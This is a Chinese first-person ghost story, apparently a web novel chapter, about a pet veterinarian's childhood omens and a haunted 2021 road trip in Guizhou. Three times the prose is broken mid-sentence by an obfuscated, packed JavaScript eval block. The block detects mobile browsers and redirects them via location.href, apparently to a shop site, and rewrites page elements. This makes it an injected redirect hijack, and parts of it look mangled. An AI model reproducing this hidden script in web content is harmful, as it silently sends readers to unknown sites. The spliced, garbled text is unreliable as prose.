《观我》 1. 序言 决定提笔,是我想记录我人生的一段经历。 二十八岁之前,我生活在一个由逻辑和常理构建的世界里。我相信眼见为实,相信努力必有回报,相信人性大抵经得起推敲。那时的我,如同一个坚定的无神论者,行走在阳光普照的平坦大路上。 直到二十八岁这一年,命运的齿轮仿佛悄然错位。一系列无法用巧合来解释的事件,像一把无形的钥匙,打开了一扇我从未察觉存在的门。门后,是光影交织的迷雾,是因果的丝线,是远超我理解范畴的规则与存在。 我开始接触那些游走在常态边缘的人和事。占卜的暗示、梦境预警、无法解释的感应、以及那些仿佛被无形之手推动的相遇与别离……它们一次次将我固有的世界观冲击得七零八落。我曾试图用理性去挣扎、去辩驳,但最终,所有的抗拒都化为了对冥冥之力的敬畏与好奇。 这本小说,便是我踏入这片“玄学”领域的行路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908314|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图。它记录下的,不再仅仅是日常的悲喜,更是对征兆的解读,对缘分的感悟,以及对自身命途的窥探与思索。 亲爱的有缘人,如果你看到了这些文字,不妨将它当作一本都市志怪,或是一册探秘手札。其中所载,信则有,不信则无,全凭你心。 当然,若你在阅读时,脊背莫名发凉,或是某个场景让你感到惊人的熟悉—— 也许是因为,我们在同一片星图下,共同航行。 2. 我 我叫楠木,父母在我记事起就断了缘分,我的童年岁月,全是在爷爷奶奶的爱护下度过的。 三四岁那年,我总爱站在爷爷房间的穿衣镜前发呆。镜里的小孩梳着乱糟糟的辫子,眼睛里闪着光,用指尖触到冰凉的镜面时,心底会突然窜出一股莫名的疑惑——咦?我为什么会在这个身体里?这具皮囊陌生得像借来的壳,若“我”不是“我”,那镜中这个睁着圆眼睛的小家伙,又该是谁?那时候我不知道为何会有这般想法,可这段记忆,却成了我最早也最清晰的印记。 我天生就对小动物有着致命的亲近感。《动物世界》是我童年最痴迷的节目,屏幕里的狮群、羚羊、飞鸟,都让我觉得格外亲切。小区里的叔叔阿姨总说我“有魔力”:流浪的猫狗见了旁人就躲,像惊弓之鸟,可我只要轻轻招招手,它们就会摇着尾巴,一步步蹭过来,把温热的肚皮露给我摸;捡到的动物幼崽,不管多虚弱,气息奄奄得仿佛下一秒就要断气,经我小心呵护,总能奇迹般地活下来。十来岁那年,机缘巧合下我知道了畜牧兽医这个专业,便不顾全家反对,执意要学——家里祖辈全是握着粉笔的老师,我这“弃文从医”的选择,让爷爷奶奶愣了好久,妈妈也劝了我许久。可我性子固执,认定的事就不会回头,我只想守着这些毛茸茸的小生命,因为我从骨子里热爱它们。 说起来,我性子更像个假小子,活泼外向,大大咧咧得没个姑娘家的模样。我喜欢大自然的草木清香,上树掏鸟窝、下河摸鱼虾,这些男孩们热衷的事,我干得比谁都溜。可老天爷偏像给我开了个残忍的玩笑,我这般“皮实”,身体却差得离谱。小区卫生院的医生护士都认识我,我的病历本堆起来能有半尺高。别人一辈子只长一次的水痘,我连得三年,红疹子密密麻麻爬满全身,痒得钻心;第四年,熟悉的护士阿姨不忍心,建议我打了疫苗,本以为总算解脱了,没承想第五年春天,那些讨厌的水痘又卷土重来。更磨人的是游走性风湿关节炎,每到夜里,关节就像被无数根细针穿刺,疼得我翻来覆去,眼泪浸湿枕巾,常常彻夜难眠。但我那时候倔得很,从不把病痛当回事,只想着多吃点、多跑点,把身体养壮。后来倒是真吃成了壮实的模样,白天照样疯跑疯玩,和小伙伴们在阳光下追逐,仿佛夜里的撕心裂肺,只是一场醒了就忘的噩梦。 我特别喜欢躺在院子里的竹椅上晒太阳,阳光洒在身上,暖得能驱散骨子里的寒气,看云卷云舒,看麻雀在枝头跳来跳去;喜欢蹲在路边看小草顶破泥土,看蚂蚁搬着比自己还大的虫子,一点点挪向巢穴;喜欢所有小动物温热的体温和柔软的皮毛,它们的信任,是我童年最珍贵的宝藏。我好奇心极重,对感兴趣的东西,非刨根问底找到答案不可。那时,三味书屋是我的秘密基地,我能在那儿待一整天:一会儿沉浸在《动物世界》的丛林秘境里,一会儿翻阅《中华上下五千年》的风云变幻,偶尔也会对着《哆啦A梦》的漫画书发呆,盼着自己也有个神奇口袋,能装下所有快乐,也能赶走所有病痛和那些挥之不去的疑惑。 童年里有两件事,深深扎在我心里,挥之不去。后来发生的一切,都在悄悄诉说着这两件事背后的答案,只是当时的我,被唯物主义的教育裹着,浑然不觉那层表象下的暗流。 第一件是关于外公的噩梦。外公在妈妈很小的时候就去世了,他的遗像一直挂在妈妈家客厅的墙上。相框里的外公穿着中山装,表情严肃,眼神锐利得像能穿透人心。我偶尔去妈妈家住,连续好几年,只要住在那儿,就总会做同一个噩梦:遗像里的外公突然从相框里爬了出来,面色铁青,嘴唇抿成一条直线,一言不发地追着我跑。我拼命逃,有时候往楼梯跑,脚下却像灌了铅,怎么也跑不动;有时候躲进柜子里,屏住呼吸,能清晰听到他沉重的脚步声一点点靠近。那种窒息的恐惧,每次都能让我哭着惊醒,冷汗浸湿后背。我从小接受的是无神论教育,只当是遗像的样子吓着了小时候的我,没敢深想,可那噩梦太过真实,真实到我后来再不敢直视外公的遗像。 第二件事更离奇,离奇到我至今想起,仍会浑身发麻。小时候一次生病,我得了“蜘蛛丹”,全身长满了密密麻麻的疱疹,红得吓人,又痛又痒,像有无数只小虫子在皮肤里爬,还发着高烧,烧得我昏昏沉沉、胡言乱语。在医院里,打针、吃药、输液,能用的法子都用了,病情却一点没好转。我疼得直哭,吃不下也睡不着,奶奶急得头发都白了几根。后来经人打听,奶奶带我找到了乡下一位独居的老奶奶。那位奶奶看着普普通通,穿着粗布衣裳,手上布满老茧,可她的眼睛很亮,像能看透什么。她手里捏着几张黄纸,围着我慢慢转圈圈,嘴里念念有词,那些话晦涩难懂,像古老的咒语。之后她把黄纸点燃,火光跳跃间,将纸灰兑进温水里,让我一饮而尽。我当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908315|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怕又累,喝完就觉得眼皮沉得厉害,倒头便睡。第二天早上醒来,我下意识摸了摸身上,疱疹居然全没了,皮肤光滑得像从来没长过东西,疼痛和瘙痒也消失得无影无踪,就连高烧也退了,整个人神清气爽。我当时只觉得神奇,可老师教的“凡事都有科学解释”像紧箍咒,让我把这归结为巧合,没再追究,只是那位老奶奶的眼神,和那些奇怪的咒语,一直刻在我脑海里。 但是随着时间的推移,我的生活并没有发生什么离奇的事情,时间的流逝让我逐渐淡忘了童年那些疑问。 直到十八岁那年,我偶然接触到了汉服,本就喜欢传统文化的我,一下子就被吸引了。当我穿上那宽袍大袖,仿佛能触摸到历史的脉络,感受到古人的风雅,看衣袖翻飞,像能接住古时候的风。也是因为汉服,我认识了最好的闺蜜知南。我们在汉服群里聊得投缘,从形制聊到纹样,从诗词聊到古迹,一场雅集让我们正式见面。那天我穿着一身曲裾,骑着踏板摩托车去接她,宽大的衣袖被风鼓得像灯笼,古雅的服饰配着现代摩托,引擎轰鸣间,古今碰撞出奇妙的火花,让第一次见面的知南惊得眼睛都亮了。相处久了,我发现知南理智善良,审美极好,还对我格外偏爱。我问过她为什么愿意对我这么好,她笑着说:“从一些小事里,我看到了你骨子里的真诚和善良,我很喜欢,这些品质比什么都珍贵。” 后来,我如愿成了一名宠物医生,每天和小动物打交道,治疗它们的病痛,日子过得简单又充实;知南则成了自由摄影师,用镜头记录世间美好,她拍的照片里,总有一种温柔的力量。再后来,通过知南,我认识了汉服同袍千尘。千尘是珠宝设计师,心灵手巧得很,她的手仿佛有一种魔力,能把普通的玉石、银线,做成各种精致又透着灵气的饰品。她也喜爱小动物,家里养了好几只猫,还一直坚持做流浪动物救助,这点让我感觉格外亲近。可她总说些让我觉得“离谱”的话——她说自己从小有阴阳眼,能看到常人看不到的东西,还带着前世的记忆,经常和鬼神打交道。我起初压根不信,只当她是神神叨叨,可她人很好,热心又真诚,每次见面都会给我带她亲手做的小饰品,我便没多说什么,只当听个新鲜。 那时候的我,从未想过,千尘的这些“疯言疯语”,会和我童年的疑惑、发生的怪事紧紧缠在一起。更没料到,和她的相识,会彻底颠覆我平静的生活—— 3. 贵州之行 2021年的夏天,蝉鸣聒噪得令人心浮气躁,而我和知南,那时仍是坚定的唯物主义者。那时我总觉得,所谓鬼神之说不过是人心惶惶的臆想,凡事皆有科学解释,却没料到,一次贵州自驾游,让我们亲身体验到了它们的存在。 我们被疫情反复磋磨了一整年,沉闷的生活像块浸了水的海绵,压得人喘不过气。于是我们一拍即合,决定自驾奔赴贵州一座以秀美闻名的景区,我们一行四人,我,我的老公阿飞,知南,和另外一个朋友鼠鼠,出发时,心里满是对自由的憧憬,只盼着山风能吹散疫情所带来的阴霾。 车轮碾过高速路的白实线,车窗外的景色从灰蒙蒙的城市天际线,逐渐过渡为浓得化不开的苍翠山峦,欢声笑语间,积压的疲惫似乎真的被吹散了。 抵达山脚下那家预订的民宿时,日头正毒,晒得柏油路都在微微发烫。入住后,询问老板,没想到一盆冷水兜头浇下——老板说,上山需要提前三天预约,我们事先一无所知,第二天根本无法上山。扫兴之余,更多的是烦躁,好好的计划被打乱,总觉得这趟旅行从一开始就透着点不顺。虽觉得不顺,但也只好既来之则安之,我们一行商量着先在这里休整一天,明天去邻近城市拜访朋友后再去黄果树瀑布,当天便在周边随便转转。 民宿是栋爬满青苔的老式三层小楼,墙角的霉斑像张蔓延的网,透着股经年累月的潮湿气,闻着让人有些闷得慌。 向老板打听附近可逛之处,他热情地推荐了几百米外的一条河,说那里山清水秀,是本地人都爱去的秘境。我们兴致勃勃地循着指引前往,河水确实清澈见底,能看见水底圆润的鹅卵石,两岸绿树成荫,阳光透过枝叶洒下斑驳的光影,景色宜人得不像话。但不知为何,明明头顶烈日当空,晒得皮肤发烫,我站在河边,却突然感到一股阴飕飕的凉意从脚底直往上钻——那不是河水带来的舒爽凉意,而是一种带着腥气的、湿漉漉的寒意,像无数根细针,顺着毛孔往骨头缝里渗。更诡异的是,四周明明有鸟叫虫鸣,我却总觉得死寂得可怕,静得能听见自己心脏“咚咚”的跳动声,每一次搏动都带着莫名的恐慌。 我心里有些发毛,这感觉太不对劲了,像是有什么东西在暗处窥伺。下意识地抱紧胳膊,鸡皮疙瘩起了一身,实在不想多待,便借口坐车累了想回去歇会儿。知南和鼠鼠还意犹未尽,阿飞看我脸色发白,眼神里满是担忧,便陪着我先回了民宿。走在路上,我频频回头,总觉得身后有人跟着,可每次回头,都只有空荡荡的小路和摇曳的树影,心里的不安却越来越浓。 回去的路上,经过一片荒废的菜地,地里的杂草长得比人还高,透着股荒芜的颓败。我无意中瞥见地头插着几根烧剩下的香杆,红漆斑驳脱落,在杂草丛中显得格外刺眼。虽说是常见的祭祀之物,可在这荒郊野外,莫名透着股阴森。谁会在这里上香?是祭拜什么人吗?联想到刚才河边的诡异寒意,我心里“咯噔”一下,像被什么东西攥了一下,脚步都不由得加快了几分。 民宿二楼只有两间客房。我们那间在楼梯右手第一间,推开门便是一股陈旧的木头味,混合着淡淡的霉味,不太好闻。鼠鼠和知南住的标间在斜对面,她们的阳台正对着马路和路对面的山坡——那坡上,密密麻麻立着几十座坟头,青黑色的墓碑在苍翠的草木间若隐若现,像一双双沉默注视的眼睛。 我倒吸一口凉气,头皮发麻。虽然知道山区常见坟地,可离民宿这么近,还是让人心里发怵。阿飞看出我的不安,拍了拍我的肩膀:“别怕,都是些老坟了,没什么好怕的。”话虽如此,我却总觉得那些墓碑的目光都落在我们身上,浑身不自在。 傍晚,知南和鼠鼠回来了,脸上带着游玩后的疲色,眼底却藏着一丝不易察觉的慌乱。知南眉头紧锁,脸色不太好看,说在河边拍照时,总觉得镜头里有什么东西一晃而过,快得像错觉,回头看又什么都没有。 我心里一紧,她也有这种感觉?难道不是我多心?可嘴上还是笑着打趣她疑神疑鬼,旅途劳顿产生了幻觉——我宁愿相信是错觉,也不愿承认这世上真有什么不干净的东西。一起去楼下吃了顿挺有当地特色的晚饭,饭菜味道不错,可我却没什么胃口,心里的不安像块石头,沉甸甸的。饭桌上,知南吃得很少,筷子动了几下就放下了,说没什么胃口,眼神有些涣散,像是在想什么心事,我看着她,心里的担忧又重了几分。 回到房间,身体累得像散了架,骨头缝里都透着酸痛,躺在床上却翻来覆去,死活睡不着。总觉得房间角落里,有一双冰冷的眼睛在暗处死死盯着我,那感觉像有针扎在背上,坐立难安,浑身不自在。我猛地睁开眼,看向黑暗的角落,什么都没有,可那被窥视的感觉却挥之不去。 是太紧张了吗?还是认床?还是这房间太压抑了?看了看身旁的阿飞,他呼吸平稳,早已睡得深沉,嘴角还带着浅浅的笑意。真羡慕他的心大,这种时候还能睡得这么香。只好归咎于认床,强迫自己闭上眼睛,数着羊试图入眠,可是越数越清醒。 后来迷迷糊糊睡了过去,睡眠却浅得可怕,像浮在水面上,稍有动静就会惊醒。夜半时分,我突然一个激灵,猛地从梦中惊醒,浑身冷汗涔涔,后背的衣服都湿透了,黏在皮肤上冰凉刺骨。梦里全是那双窥视的眼睛,密密麻麻,让人喘不过气。房间里冷飕飕的,那股寒意不是山区夜里的凉爽,而是一种带着死寂气息的阴冷,就像冷冻库温度里一样。 就在睁眼的那一刻,走廊里传来一阵极其轻微、极其缓慢的脚步声——嗒……嗒……嗒…… 那声音像是一种沉重的物体在木地板上移动,又轻又沉,带着一种诡异的韵律,由远及近,一步步朝着我们的房门逼近。我全身的汗毛瞬间竖了起来,心脏狂跳不止,几乎要冲破胸膛,屏住呼吸,一动不敢动,连大气都不敢喘。是谁?这么晚了谁还在走廊里走动?是老板?还是其他客人?可这脚步声也太诡异了,轻得不像正常人走路,我不敢往下想,死死盯着房门,手心全是冷汗。那脚步声在我们门口停了下来,停顿持续了大概十几秒,空气仿佛凝固了,只剩下我自己剧烈的心跳声。我害怕的轻轻推了推阿飞,他嘟囔了一声,翻了个身又睡了过去,睡得像头死猪。关键时刻怎么都叫不醒他!突然尿意来袭,我咬着牙,强忍着恐惧,摸黑去了趟洗手间,上完厕所,我开这水龙头,用冰冷的自来水扑在脸上,才稍微清醒了一点。回来时睡意全无,拿起手机,屏幕刺眼的光显示着:凌晨四点半。心想反正也睡不着了,不如刷会儿手机熬到天亮,可眼睛盯着屏幕,注意力却全在门外,生怕再听到什么诡异的声音。 快到六点时,窗外天色开始泛白,一丝微弱的晨光透过窗帘缝隙照了进来。就在这时,知南的信息突然跳了出来:“楠木,你醒了吗?能来我房间吗?急!” 看到信息的瞬间,我心里“咯噔”一下,那股压抑已久的不安感骤然攥紧了心脏,让我几乎喘不过气。果然出事了!她们是不是也听到了脚步声?还是遇到了更可怕的事情?转头看阿飞还在熟睡,便轻手轻脚披上外套,走到门口。手搭在门把手上时,又想起半夜那诡异的脚步声,犹豫了一秒,还是咬牙拧开了门——就算害怕,也不能让知南和鼠鼠独自面对。 走廊里空无一人,整栋房子也毫无声响,空气里有种说不出的沉闷,像要下雨前的压抑,还夹杂着一丝淡淡的腥气。我快步走到她们房门前,轻轻敲了敲,知南立马过来开了门。 一进房门,一股刺骨的阴冷压抑气息扑面而来,温度比走廊明显低了好几度,像是瞬间闯进了冰窖。知南猛的抓紧我的手臂,她的手指冰凉,脸色惨白得像纸,毫无血色,眼下两团浓重的青黑,像是涂了墨,头发也有些凌乱,眼神涣散,显然一宿没合眼。鼠鼠则用被子把自己裹得严严实实,蜷在另一张床的角落里,只露出一双红肿不堪、满是恐惧的眼睛,瞳孔放大,像是看到了极其恐怖的东西。 “你们这是怎么了?没睡好?”我压着心里的惊涛骇浪,声音不由自主地发颤。 知南的声音抖得厉害,几乎语无伦次:“我昨晚……不对劲,太不对劲了……我梦游了,还被压床了……” “你梦游了?还有鬼压床?”我听到自己的声音也在发颤,难以置信。知南和我认识这么多年,从来没听她提起过梦游的事儿?鬼压床我倒是能理解,毕竟有科学解释。 “对!你知道的,我从来不会梦游…………”她深吸一口气,拼命想让声音平稳,但还是抖得不成样子,“我梦见自己被关在一个特别小、特别挤、特别黑的密闭空间里,现在想来那像是一口棺材……我想逃,四周怎么也推不开。最后发现顶上的盖板好像有缝,我就用尽全身力气去推……刚推开一道缝,一束强光直射在我眼睛上——然后我就醒了!”她瞳孔因为恐惧微微缩着,“结果……结果我就发现自己光着脚站在房门口,一只手正握着门把手,身体保持着往外跑的姿势,当时要不是走廊的灯晃醒了我,我差点就冲出去了!” 我倒抽一口冷气,身上瞬间起了一层鸡皮疙瘩,脑子一片空白,还没消化完这诡异的信息,鼠鼠从被窝里探出头,声音带着哭腔和压到极致的恐惧:“我那时都看见了!我平时睡眠浅,一开始听到动静,我以为知南要起夜,可她没开灯,我借着窗外那点月光,看见她光着脚,正纳闷她怎么不穿鞋,她直接就去拧门把手往外冲,我还以为是你在外面叫她有事,谁知道她刚把门拉开,就僵在那儿不动了……我、我好像还瞥见一只灰黑色的手,正抓着她另一只手的手腕!当时光线暗,我还以为是你的手!”说完,她又飞快地缩回被子里,浑身发抖,好像那样能安全点。 “手腕?”我立刻抓起知南的左手手腕。借着晨光,她左手纤细的手腕上,赫然有一圈淡淡的、像是被用力抓握过的青黑色的指印,清晰得不像假的。 我们三个人的呼吸都停滞了一瞬。看着那青黑色印记,我心里最后一点侥幸也消失了。这不是幻觉,也不是巧合,昨晚真的有“东西”来过!无鬼神论在这一刻摇摇欲坠,恐惧像潮水般将我淹没。 我顿时浑身发毛,下意识抱紧胳膊,坐到知南床边,抓过个枕头死死搂在怀里,仿佛这样能多点安全感:“后来呢?你躺回床上后怎么样了?” “我躺回床上后,心慌得厉害,根本睡不着,只好用手机查导致‘梦游’的原因,想找个科学解释。但越看越不对,我根本不符合那些条件!”知南呼吸急促起来,胸膛剧烈起伏,“正看着……我身体突然就动不了了,连声音也发不出!”她瞳孔因恐惧放大,“然后……我感觉到有人用跪姿从床尾爬上来,床垫陷下去一块……它一点点挪到我身后,然后……然后猛地抱住了我的腰!我拼命想挣扎,想喊鼠鼠,却完全动弹不得,只能在心里一遍遍骂……大概僵持了一两分钟,我听到远处好像传来一声鸡叫,那力量突然没了,我才能动,立刻就给你发了信息……我是真的不敢再闭眼了!” 她的话像一把重锤,狠狠的又给了我一击,我以前只在网上看到过别人的描述,从未想过会发生在自己身边的人身上,并且我知道知南的性子,她并不会过度描述这些事情。 这时,鼠鼠又用细得像蚊子哼、却让人汗毛倒竖的声音补充道:“她梦游开门之后,我就彻底吓醒了,一直没敢睡,躲被子里偷偷玩手机。但她被‘压床’的时候,我……我发现她没动静了,就壮着胆子探头看了她一眼……”鼠鼠的声音骤然拔高,又猛地压下去,充满惊恐,“没想到看到一张黑色、没有五官的脸,就面对面悬在我眼前!离我的脸不到十公分!我整个人完全僵住了,血都凉了,不敢动,也不敢看它……正准备移开视线,我发现……我发现那个‘人’的身体,明明还端坐在知南床边,只有脖子……伸得老长,像橡皮人一样,脸凑到了我面前!” “啊!”我忍不住低呼一声,胃里一阵翻搅,恶心感涌上喉咙。那画面光是想想就让人头皮发麻,鼠鼠竟然亲眼看见了!她得多害怕啊!我紧紧抱住枕头,身体也开始发抖。房间里安静得可怕,只有我们粗重不一的呼吸声,每一次呼吸都带着冰冷的恐惧。 为了打破这令人窒息的恐惧,我也说起自己半夜莫名惊醒、听见脚步声的事。一对时间,竟然和知南经历“梦游”的时间差不多! 即便铁证如山,我心里那点无鬼神论的念头还在垂死挣扎,勉强安慰她们:“可能是旅途太累,精神紧张,产生幻觉了……也可能是这房间空气不流通,缺氧……” 但说这话时,我自己心里也虚得不行,手腕上的青黑色痕迹和鼠鼠的描述像石头压在胸口,怎么也无法忽视。我只是想找个借口自我安慰,不然真的要被这恐惧逼疯了。 我不敢出门去找阿飞,于是立刻给他打电话,让他赶紧过来。想着男生阳气足,也许能冲冲这屋里的诡异气氛。阿飞睡眼惺忪地赶来,听了我们的描述,却一脸懵,摇摇头说:“我睡得很死,什么声音都没听见,什么感觉都没有。” 看着他一脸无辜的样子,我又气又无奈。为什么只有我们三个女生遇到了这些怪事?难道真的是女生阴气重,容易招这些东西?阿飞是男生才没事?这个念头一出,我自己都吓了一跳,什么时候我也开始相信这些玄乎的说法了? 见他也没什么头绪,我更不敢在这房间多待一秒。为了转移大家注意力,也为了尽快离开这邪门地方,我强作镇定提议马上出发,按计划去另外一个城市找朋友阿诚。他是消防员,一身正气,阳气肯定更旺,就算真有什么不干净的东西跟着,说不定也能镇住。大家都像抓住了救命稻草,连忙点头,眼里满是急切。 于是我们匆匆收拾好行李,连老板准备的早餐都没心思吃,顶着浓重的黑眼圈上了车。 车子由知南开,鼠鼠坐副驾,我和阿飞在后排。车驶离民宿后,我脑子里还在胡思乱想,想着是不是我们三个女生阴气重,所以容易招这些东西,阿飞是男生才没事……正想着,习惯性抬头看了眼路况。车子正开到一个僻静的丁字路口,我清清楚楚看见一辆公交车在我们前方,从右侧匀速向左直行,而我们需要左转。我本以为知南会减速让行,万万没想到,她像是完全没看见那辆庞大的公交车,不躲不闪,甚至眼神有些空茫地,一脚油门加速冲了过去! “停车!有车!”我的惊呼和刺耳的刹车声几乎同时响起——是那辆公交车猛打方向,轮胎摩擦地面发出尖啸,险险刹停在路边的土堆旁!司机惊魂未定地探出车窗,朝着我们愤怒地吼叫着听不懂的方言。我也因为这突如其来的急刹,整个人狠狠撞向前座靠背,额头脸上生疼,眼泪都差点掉下来。 太险了!差一点就撞上了!刚才要是公交车反应慢一点,我们可能就撞上了!我心有余悸地拍着胸口,心脏狂跳不止。 “刚才有公交车过来!你怎么还加速?没看到吗?”我惊魂未定,揉着额头,语气难免又急又怕。 知南转过头,脸上一点血色都没有,嘴唇微微发抖,眼里全是困惑和后怕,还有一丝难以形容的茫然:“我真的没看见……刚才,我右边侧窗玻璃上好像突然蒙了团很浓的白雾,一下子就把视线全挡住了,我什么都看不清……” “不可能!”我立刻反驳,心脏怦怦狂跳,“我在后座看得清清楚楚,反光镜、侧窗都干净得很,根本没雾!而且公交车那么大,还按了喇叭,你没听见吗?” 话一出口,我自己也愣住了,一股更深的寒意顺着脊梁爬上来。知南从来不是信口开河、推卸责任的人,她没必要撒谎。那她看到的白雾是什么?难道是那个“东西”在搞鬼?它跟上来了?这个念头让我浑身一个激灵,恐惧再次袭来。 我立刻让她靠边停车,歇会儿定定神。停稳后,我又问了鼠鼠看没看见公交车,鼠鼠脸色发青,心有余悸地点点头:“看见了,我也以为知南会刹车,没想到她直接加速,把我魂都吓飞了。” 三个人,两种截然不同的感知。正当我们几个惊疑不定、争论这诡异的“白雾”时,知南像是下定了决心,直接视频联系了千尘。那时我和千尘还不熟络,并不清楚她有什么特殊能力,只隐约知道她对这些玄乎的事有些了解。我心里有些抵触,觉得这种时候找她也没用,难道她还能驱鬼不成?可看着知南苍白的脸,我又没说什么——死马当活马医吧,说不定真能找到办法。 视频接通后,千尘那边背景有点暗。她看着屏幕那头的知南,原本平静的脸色慢慢沉了下来,眉头越皱越紧,仿佛透过镜头看到了什么我们看不见的东西。她沉默了好几秒,才低声开口,声音带着一种不容置疑的严肃:“知南,你身边跟了一个‘东西’,是个年轻男人的阴灵,执念很深,纠缠得有点紧了。”她顿了顿,目光锐利,“听我的,在贵州境内,你绝对、绝对不能再开车了,非常容易出事。让楠木开,等车子出了贵州地界,它跟不过去,便无碍了。” 阴灵?执念?我在旁边听着,只觉得荒谬至极,心里还是更倾向于是知南过度疲劳导致的精神恍惚和幻觉。可刚才那惊险一幕实在吓人,千尘的话又说得斩钉截铁,为了安全起见,剩下的路无论如何也得换我来开。大家都没异议,知南更是如释重负又惶惶不安地坐到了后排。我握着方向盘,手心全是冷汗,心里默念着千万别出事,一边警惕地看着路况,一边忍不住瞟向后视镜,生怕有什么东西跟着一样。 一路高速疾驰,窗外的景色飞掠,车里气氛凝重,没人说话。比较顺利的是,没再出现什么怪事,我们很快到达了朋友阿诚所在的城市。看到熟悉的城市景观,大家紧绷的神经才稍稍松懈了一点。终于到了有人气的地方,那种被窥视的感觉也淡了些,我长长舒了口气。 见到阿诚后,我们像是找到了主心骨,七嘴八舌、语无伦次地说起了这两天的诡异遭遇。阿诚听着,眉头也皱了起来,但出乎意料,他并没有表现出太多惊讶,只是沉稳地点点头,说:“干我们这行,有时候去一些现场,确实会遇到点……用科学很难一下子解释清楚的事情。”他想了想,看向我们惊魂未定的脸,“这样,我等会儿回家拿串手串,是我以前在寺庙请的,开过光。一直放消防车里,图个平安,感觉挺管用的。你们先戴着。有些事情,宁可信其有,不可信其无。” 开光的手串?我心里嘀咕着,以前我肯定会觉得这是迷信,可经历了这么多怪事,我却莫名觉得安心了些。有总比没有强,万一真的有用呢?心里那份无鬼神论虽然还在挣扎,但求安心的念头已经占了上风。 阿诚看我们几个(除了睡眠质量超好、依旧有点状况外的阿飞)都神色萎靡、眼圈发黑,尤其是知南,整个人像被抽走了精气神,便提议带我们去吃当地一家很有名的夜宵店,希望用热闹的人间烟火和美食冲淡点我们心头的恐惧。我们都同意了,急需一些温暖实在的东西来填补内心的惶惑,也想借这喧闹的环境驱散身上的晦气。 店里人声鼎沸,油烟香气混合着嘈杂的谈笑,确实驱散了不少寒意。我们五个相对而坐,鼠鼠、阿诚和知南坐一边,面朝大门,我和阿飞则背对着大门。热腾腾的烧烤和炒粉上来,香气扑鼻,我们暂时把那些恐怖的事抛在脑后,专注在食物上。辛辣的味道刺激着味蕾,身体也渐渐暖和起来,我心里暗暗庆幸,也许噩梦已经结束了。 然而,就在气氛刚刚有所缓和,我夹起一筷子米粉时,突然注意到坐在对面的鼠鼠,她的目光无意中瞟向门口,瞬间就像被冻住了一样,变得呆滞,紧接着,无法抑制的惊恐迅速淹没了她的脸,连嘴唇都失了血色。 我心里“咯噔”一下,不好的预感再次袭来。她看到什么了?心里有些紧张,还强装镇定开口问她:“鼠鼠,你怎么了?看到什么了?” 她像受惊的兔子一样猛地收回视线,慌乱地低下头,拿起一串烤肉却半天没送进嘴里,声音抖得厉害:“没、没什么……可能眼花了……” 但她的慌乱和恐惧根本藏不住,拿着竹签的手指都在微微发抖,脸色苍白得像纸。 我心里一沉,总感觉不对劲,但她又不说,心里的恐惧像冰冷的藤蔓,再次缠绕住我的心脏,让我喘不过气。知南因为前一夜根本没睡,加上连续惊吓,整个人魂不守舍,只是沉默地、机械地吃着东西,对我们的对话毫无反应。阿诚察觉到我们状态依旧不佳,叹了口气,提议道:“我看你们这状态,干脆在我这儿多停留两天,缓一缓。今晚吃完就赶紧回酒店好好休息,什么都别想了。” 我们都像泄了气的皮球,点头同意,确实没有力气和心思继续赶路了,在这里休整也好。 阿诚给我们订了两间相邻的房。原本计划是鼠鼠和知南一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908316|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起住,我和阿飞一起住,但经历了民宿那惊魂一夜。我也因为阿飞睡觉太沉,关键时刻指望不上而感到害怕。于是我们三个女生决定挤在一个标准间里,把两张床并在一起,开着房间里所有的灯,抱团取暖。跟阿飞简单商量后,我就抱着自己的被子枕头去了她们房间。只有和她们在一起,开着灯,我才能稍微安心一点。 刚推门进去,就看见鼠鼠已经坐在并好的床上,用被子把自己裹得只露出一个头,脸色依旧苍白。她看到我,像是终于憋不住了,带着哭腔小声说:“楠木……刚才,在宵夜店那儿,我不是眼花……” 我心头一紧,关上门,快步走到她旁边坐下,声音也有些颤抖的问:“你看到什么了?” “我看到一个黑色的人影,”鼠鼠的声音压得很低,充满恐惧,带着哭腔,“他就站在门口霓虹灯照不到的阴影里,一动不动,一直……一直盯着我们这桌看。我看不清具体样子,但感觉……感觉很不对劲。” 我强压着越来越浓的不安,试图寻找合理理由安慰她,也安慰自己:“大晚上的,客人进出,有人站着等人也很正常吧?灯光又乱,你是不是太紧张看错了?” “我也希望是看错了……”鼠鼠的声音里充满了绝望,她抬起头,眼泪在眼眶里打转,顺着脸颊滑落,“可是……可是后来有个服务员端着盘子从那边过,挡了一下光线,那个人影好像侧了侧身……他转过来的时候……脸上,脸上没有五官啊!就是一片模糊的黑!” 